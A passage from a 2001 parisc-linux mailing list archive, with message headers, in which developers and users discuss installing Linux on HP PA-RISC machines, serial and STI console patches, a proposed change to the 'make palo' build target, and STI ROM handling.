X-Authentication-Warning: boschini.sede.cilea.it: boschini owned process doing -bs
X-Sender: boschini@boschini.sede.cilea.it
Xref: news.gmane.org gmane.linux.ports.parisc:11329

Hi all, 
I read the FAQs and browsed the mailing list, but wasn't able to find
anything similar...

I have an HP/735, with an external SE SCSI CD-ROM and serial console.
I downloaded palinux-0.9-32serial.iso and burnt my own CD (well 2 of them,
just in case..) and I can not even boot from CD, getting 

bad IPL checksum

the CD i have is a Toshiba XM 3301TA.

Any help ?

Already thanking you, 

Matteo Boschini
(boschini@cilea.it)








From - Thu Nov 08 21:18:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problem installing on HP735
Date: Wed, 13 Jun 2001 09:54:13 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20010613095413.A16532@linuxcare.com>
References: <Pine.LNX.4.21.0106131025410.876-100000@boschini.sede.cilea.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620210 20754 80.91.229.3 (22 Nov 2014 01:36:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matteo Boschini <boschini@cilea.it>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 13 02:58:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78BD5482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Jun 2001 02:58:32 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id BDA22B007; Wed, 13 Jun 2001 09:54:13 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0106131025410.876-100000@boschini.sede.cilea.it>; from boschini@cilea.it on Wed, Jun 13, 2001 at 10:29:15AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11330

On Wed, Jun 13, 2001 at 10:29:15AM +0200, Matteo Boschini wrote:
> 
> Hi all, 
> I read the FAQs and browsed the mailing list, but wasn't able to find
> anything similar...
> 
> I have an HP/735, with an external SE SCSI CD-ROM and serial console.
> I downloaded palinux-0.9-32serial.iso and burnt my own CD (well 2 of them,
> just in case..) and I can not even boot from CD, getting 
> 
> bad IPL checksum
> 
> the CD i have is a Toshiba XM 3301TA.
> 
> Any help ?

Can you read the CD on other systems?  If you can, I'd suspect that
the firmware dowsn't like your CD drive, or there is some cable or
otehr h/w problem.  You could boot the system over the network, and
see if linux can then install from the CD.

Richard





From - Thu Nov 08 21:18:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matteo Boschini <boschini@cilea.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] problem installing on HP735
Date: Wed, 13 Jun 2001 12:08:08 +0200 (CEST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0106131204210.1173-100000@boschini.sede.cilea.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620210 20756 80.91.229.3 (22 Nov 2014 01:36:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:50 +0000 (UTC)
Cc: boschini@cilea.it
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 13 04:02:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from boschini.sede.cilea.it (boschini.sede.cilea.it [131.175.1.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id A444B482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Jun 2001 04:01:59 -0600 (MDT)
Original-Received: from localhost (boschini@localhost)
	by boschini.sede.cilea.it (8.9.3/8.9.3) with ESMTP id MAA01180;
	Wed, 13 Jun 2001 12:08:08 +0200
X-Authentication-Warning: boschini.sede.cilea.it: boschini owned process doing -bs
X-Sender: boschini@boschini.sede.cilea.it
Xref: news.gmane.org gmane.linux.ports.parisc:11331

Hi, I fixed the CD issue. 
I had some problems with the images itself. Downloaded it again, and it
boots. In installing the O.S., console freezes when "Installing Rescue
floppy..."

any hint ?

Furthermore, is it possible to do a "console switch" and activate a
shell like the Alt+F1 on a PC ?

already thanking you all, 
Matteo Boschini 





From - Thu Nov 08 21:18:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sticon/sercon patch for new bootfloppies...
Date: Wed, 13 Jun 2001 13:40:56 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20010613134056.E16532@linuxcare.com>
References: <20010613002536.AB3E8482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620210 20761 80.91.229.3 (22 Nov 2014 01:36:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 13 06:45:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id D2A04482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Jun 2001 06:45:20 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id D5FDEB007; Wed, 13 Jun 2001 13:40:56 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010613002536.AB3E8482A@dsl2.external.hp.com>; from deller@gmx.de on Wed, Jun 13, 2001 at 02:24:49AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11332

On Wed, Jun 13, 2001 at 02:24:49AM +0200, Helge Deller wrote:
> Hi,
> 
> the attached patch enables only those consoles, which are given on the linux 
> kernel command line.
> Examples: "console=tty0" activates STIcon only, "console=ttyS0" activates 
> serial console only and if you use both on the commandline you will get the 
> system messages on both consoles.
> 
> Known bugs: 
> - STIcon will not show any messages which happened before the STI
> 	initialisation


Just tried a kernel with serial console, sti console, and sti fb all
compiled in, with palo/unstable.  Seems to do the right thing on my B180 :)

The kernel knows it cannot support b180 fb, so uses sti console automatically
but this kernel should use sti fb on those machines that we support.

I left the b180 alone until the "screen blanking" cut in.  It just turns
off the cursor, btw, doesn't blank the screen.

When I came back to it the cursor had gone back to top-left, and all
chars are printed as blobs of garbage.  System is still happy apart from
that.

I think the cursor going to top-left on a screen blank is a result of
your last lot of bug fixes, but not certain of that.

The other thing for people to note is that if you specify both
console=ttyS0 and console=tty0, then the order is important.  The
real console is the second one you specify, the other just gets
a copy of boot messages (all kernel printk's, I guess).

Richard





From - Thu Nov 08 21:18:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problem installing on HP735
Date: Wed, 13 Jun 2001 14:24:44 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20010613142444.J16532@linuxcare.com>
References: <Pine.LNX.4.21.0106131204210.1173-100000@boschini.sede.cilea.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620211 20763 80.91.229.3 (22 Nov 2014 01:36:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matteo Boschini <boschini@cilea.it>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 13 07:29:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7306E482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Jun 2001 07:29:04 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id EFDE8B007; Wed, 13 Jun 2001 14:24:44 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0106131204210.1173-100000@boschini.sede.cilea.it>; from boschini@cilea.it on Wed, Jun 13, 2001 at 12:08:08PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11333

On Wed, Jun 13, 2001 at 12:08:08PM +0200, Matteo Boschini wrote:
> 
> Hi, I fixed the CD issue. 
> I had some problems with the images itself. Downloaded it again, and it
> boots. In installing the O.S., console freezes when "Installing Rescue
> floppy..."

First report I've seen of that.

> any hint ?

No idea, sorry.

> Furthermore, is it possible to do a "console switch" and activate a
> shell like the Alt+F1 on a PC ?

Not on a serial install.  If you can get back to the installer menu
you can scroll down and select 'execute a shell'.

Richard





From - Thu Nov 08 21:18:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New list member..
Date: Wed, 13 Jun 2001 14:34:42 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20010613143442.K16532@linuxcare.com>
References: <Pine.LNX.4.30.0106121514010.23761-100000@methlab.23.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620211 20770 80.91.229.3 (22 Nov 2014 01:36:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: CHS <chs@23.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 13 07:39:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3AD72482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Jun 2001 07:39:02 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id AB79AB007; Wed, 13 Jun 2001 14:34:42 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.30.0106121514010.23761-100000@methlab.23.org>; from chs@23.org on Tue, Jun 12, 2001 at 03:19:46PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:11334

On Tue, Jun 12, 2001 at 03:19:46PM -0700, CHS wrote:
> 
> Hello all. Just wanted to say hello. I've been working with linux for
> about 7 years now, mainly with the slackware and redhat distributions.
> This weekend I picked up a 712/80 for free, and after getting a CDROM
> drive working on it (long story), managed to go through the single easiest
> linux install in my entire life. Keep in mind I've never even touched an
> HP PA-RISC machine until this weekend. So a big hearty kudos to you guys!
> I had a couple questions though:
> 
> 1.) The machine seems to work generally pretty OK, except that I get
> kernel panics fairly often. This did not hinder the install at all though.
> any ideas?

You don't say if you are serial or graphical (sti) console based.
I certainly wouldn't expect kernel panics "fairly often" with a
serial console.  For sti console, there are some known issues, for
example, hitting <escape> in vi tends to crash the kernel.  sti console
is much less tested than serial also.  The vi problem is fixed in our
latest kernel source, and you can work round it by changing your terminal
type (from TERM=linux to TERM=vt100, iirc).

If you are sti console based then it is painful, but if you could copy
down the register dump (not the stack dump, most of which will have
scrolled off the screen), then I might be able to tell you more.
If you are serial based, you should be able to capture the output
easily enough.

Richard





From - Thu Nov 08 21:18:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PALO/kernel-build change proposal
Date: Wed, 13 Jun 2001 11:31:38 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <E15AEUU-0004qi-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620211 20778 80.91.229.3 (22 Nov 2014 01:36:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:51 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 13 11:31:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 14D1E482A
	for <parisc-linux@parisc-linux.org>; Wed, 13 Jun 2001 11:31:41 -0600 (MDT)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP id 190171206
	for <parisc-linux@parisc-linux.org>; Wed, 13 Jun 2001 13:31:40 -0400 (EDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id LAA20997
	for <parisc-linux@parisc-linux.org>; Wed, 13 Jun 2001 11:31:38 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 15AEUU-0004qi-00
	for <parisc-linux@parisc-linux.org>; Wed, 13 Jun 2001 11:31:38 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11335

Many of us are accustomed to the way 'make palo' works in our kernel
source tree (it goes over to the palo source tree, builds palo, and
then utilizes the palo Makefile to produce a bootable image).  I want
to convert to a model based on palo being a separate stable piece
of software for which you may not even have sources.  Many of us are
probably also not using 'palo.conf' files, which are the norm for self-
hosted operation.

When self hosted, there's usually no need to run palo after every
kernel build since palo boots out of the file system by file name.
So I propose that the common self-hosted use model be to use simple 'make'
in the kernel tree [and make modules or whatever].  The resulting 'vmlinux'
file can then be copied to the desired location.

I propose that 'make palo' be changed to simply run 'palo -f ./palo.conf'
after vmlinux is built.  This means palo would have to be in the $PATH
and that the top-level linux source directory would contain a
suitable palo.conf file.  I've been using this model for cross-compiling
for several months and like it.  I would document how xc-ers can best
compile and "install" palo as well as supply a palo.conf file with
our typical configurations.

What is 'make palo' today would be changed to 'make buildrunpalo'.  The
longer name is more truthful and less convenient on purpose.

Feedback?

	-P




From - Thu Nov 08 21:18:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] clustering ??
Date: Wed, 13 Jun 2001 19:17:31 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20010613191731.B12562@parcelfarce.linux.theplanet.co.uk>
References: <20010612094328.C1917@megatonmonkey.net> <Pine.LNX.4.33.0106120829320.26952-100000@devnull.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620212 20786 80.91.229.3 (22 Nov 2014 01:36:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:52 +0000 (UTC)
Cc: PA-RISC Linux list <parisc-linux@lists.parisc-linux.org>
To: Tom <tom@Alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 13 12:17:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 296E0482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Jun 2001 12:17:34 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15AFCt-0003gI-00; Wed, 13 Jun 2001 19:17:31 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0106120829320.26952-100000@devnull.alaskatech.org>; from tom@Alaskatech.org on Tue, Jun 12, 2001 at 08:32:39AM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11336

On Tue, Jun 12, 2001 at 08:32:39AM -0800, Tom wrote:
> On Tue, 12 Jun 2001, Carlos O'Donell Jr. wrote:
> [snip]
> > And yes, SSH will work as a direct replacement for RSH in MPICH.
> >
> > However, I believed that SSH was currently broken on PA-RISC due to OpenSSL.
> >
> > Haven't tried compiling non-open SSH :)
> > I think we might give it a shot tonight.
> 
> Not sure what "broken" may mean, but my 0.9 install has a working SSH
> server running on it. Mine *was* installed with contrib and non-free
> however, so it may be that a "pure" install doesn't have it.

the current openssh in the archives has a known bug (which i haven't seen
discussed on the list), which is that X forwarding does't work right.
at least not on my machine :-)

A bug which you'll see ssh trigger (but is actually in libc) is that it'll
set your rlimit to 2GB instead of infinity.  this should be fixed RSN.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: CHS <chs@23.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New list member..
Date: Wed, 13 Jun 2001 11:27:37 -0700 (PDT)
Lines: 42
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0106131112140.26483-100000@methlab.23.org>
References: <20010613143442.K16532@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620212 20791 80.91.229.3 (22 Nov 2014 01:36:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:52 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 13 12:25:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from methlab.23.org (23.org [209.25.5.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85F20482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Jun 2001 12:25:33 -0600 (MDT)
Original-Received: from localhost (chs@localhost)
	by methlab.23.org (8.9.3/8.9.3) with ESMTP id LAA26553;
	Wed, 13 Jun 2001 11:27:37 -0700
In-Reply-To: <20010613143442.K16532@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11337

On Wed, 13 Jun 2001, Richard Hirst wrote:

> You don't say if you are serial or graphical (sti) console based.
> I certainly wouldn't expect kernel panics "fairly often" with a
> serial console.  For sti console, there are some known issues, for
> example, hitting <escape> in vi tends to crash the kernel.  sti console
> is much less tested than serial also.  The vi problem is fixed in our
> latest kernel source, and you can work round it by changing your terminal
> type (from TERM=linux to TERM=vt100, iirc).

my mistake, I meant to be thorough, honest :)

I'm using the graphical/sti install..

> If you are sti console based then it is painful, but if you could copy
> down the register dump (not the stack dump, most of which will have
> scrolled off the screen), then I might be able to tell you more.
> If you are serial based, you should be able to capture the output
> easily enough.

register dump, ok, I'll try and do that tonight..

I'd try and work with the machine in serial mode, but I don't have the
null modem adapters and gender changers at home neccessary to work with
it. I'll see what I can dig up though..

thanks for the help.

--
AIM: bdsmchs  ---  http://www.23.org/~chs/
------------------------------------------------------------------------
"And the rifle? Wouldn't go out naked of a rifle. When shoes and
clothes and food, when even hope is gone, we'll have the rifle."
	--John Steinbeck
------------------------------------------------------------------------








From - Thu Nov 08 21:18:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALO/kernel-build change proposal
Date: Wed, 13 Jun 2001 15:22:10 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <200106132122.PAA01189@puffin.external.hp.com>
References: <E15AEUU-0004qi-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620212 20793 80.91.229.3 (22 Nov 2014 01:36:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 13 15:22:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id E24F2482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Jun 2001 15:22:45 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id PAA01189;
	Wed, 13 Jun 2001 15:22:10 -0600
In-Reply-To: Your message of "Wed, 13 Jun 2001 11:31:38 MDT."
             <E15AEUU-0004qi-00@noam.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11338

Paul Bame wrote:
...
> When self hosted, there's usually no need to run palo after every
> kernel build since palo boots out of the file system by file name.
> So I propose that the common self-hosted use model be to use simple 'make'
> in the kernel tree [and make modules or whatever].  The resulting 'vmlinux'
> file can then be copied to the desired location.


On x86, "make install" will do all the right things to install the
freshly built kernel but doesn't do a damn thing for kernel modules.
Need to run "make modules" and "make modules_install" to really make
sure eveything is in sync.


> I propose that 'make palo' be changed to simply run 'palo -f ./palo.conf'
> after vmlinux is built.  This means palo would have to be in the $PATH
> and that the top-level linux source directory would contain a
> suitable palo.conf file.  I've been using this model for cross-compiling
> for several months and like it.  I would document how xc-ers can best
> compile and "install" palo as well as supply a palo.conf file with
> our typical configurations.
> 
> What is 'make palo' today would be changed to 'make buildrunpalo'.  The
> longer name is more truthful and less convenient on purpose.


How about "make lifimage"?
That's the only reason I run "make palo" in the XC environment.
Having a XC-palo in the environment is no problem.
In the XC env, I don't expect "make install" to do the right thing (tm).

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Byte mode STI roms
Date: Thu, 14 Jun 2001 02:32:10 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20010614023210.A11525@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620213 20808 80.91.229.3 (22 Nov 2014 01:36:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:53 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 13 18:34:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from solo.franken.de (pD9054371.dip.t-dialin.net [217.5.67.113])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F0E9482A
	for <parisc-linux@parisc-linux.org>; Wed, 13 Jun 2001 18:34:42 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.9.3/8.9.3) id CAA11608
	for parisc-linux@parisc-linux.org; Thu, 14 Jun 2001 02:32:11 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:11339

Hi,

I've played a little bit with the stifb on my C200 with a HCRX24 and got
the stifb to recognize it as valid card. My approach was to just get rid
of that funky STI_Uxx macros by copying the byte rom into memory and
adjusting the offsets. This way sticon-wmode.c and sticon-bmode.c are
nearly the same and with a little bit more tweaking I could get them
merged. 

So is there a deeper magic hidden why bmode is done the way it is, or 
should I clean up my code and check it in ?

Thomas.

PS: No, stifb doesn't work on the HCRX24, yet. It gets initalized, but
still doesn't show anything.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:18:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Byte mode STI roms
Date: Thu, 14 Jun 2001 09:58:34 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20010614075910.0921A482A@dsl2.external.hp.com>
References: <20010614023210.A11525@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620213 20812 80.91.229.3 (22 Nov 2014 01:36:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:53 +0000 (UTC)
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 14 01:59:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 0921A482A
	for <parisc-linux@parisc-linux.org>; Thu, 14 Jun 2001 01:59:10 -0600 (MDT)
Original-Received: (qmail 3465 invoked by uid 0); 14 Jun 2001 07:59:04 -0000
Original-Received: from pd9040219.dip.t-dialin.net (HELO there) (217.4.2.25)
  by mail.gmx.net (mail08) with SMTP; 14 Jun 2001 07:59:04 -0000
X-Mailer: KMail [version 1.2.2]
In-Reply-To: <20010614023210.A11525@solo.franken.de>
Xref: news.gmane.org gmane.linux.ports.parisc:11340

Hi Thomas,

> I've played a little bit with the stifb on my C200 with a HCRX24 and got
> the stifb to recognize it as valid card. My approach was to just get rid
> of that funky STI_Uxx macros by copying the byte rom into memory and
> adjusting the offsets. This way sticon-wmode.c and sticon-bmode.c are
> nearly the same and with a little bit more tweaking I could get them
> merged.

Great !

> So is there a deeper magic hidden why bmode is done the way it is, or
> should I clean up my code and check it in ?

No, there is no real deeper magic the way it is done now. It's just, that the 
sti[wb]con code has already went through quite a number of development 
cycles. 
At the beginning both had the complete console-code in them with just some 
tweaks for the mode, now they are in a state where both files just provide 
callbacks for sticore.c.
And the real goal is to have both files merged in a clean manner. This is why 
I'm really interested to see your patch. But in any case I would like if you 
would send the patch to the list prior checking it in. 

> PS: No, stifb doesn't work on the HCRX24, yet. It gets initalized, but
> still doesn't show anything.

It's because the stifb code does not have any HCRX24 specific code in it yet. 
I'll look if I can add it today - it shouldn't be that much.

Greetings,
Helge




From - Thu Nov 08 21:18:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: BOSCHINI@ICIL64.CILEA.IT
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: problem installing on HP735
Date: Thu, 14 Jun 2001 15:35:07 +0000 (MET-01DST)
Lines: 34
Approved: news@gmane.org
Message-ID: <01K4REDVBWF6001R4D@ICIL64.CILEA.IT>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416620214 20813 80.91.229.3 (22 Nov 2014 01:36:54 GMT)
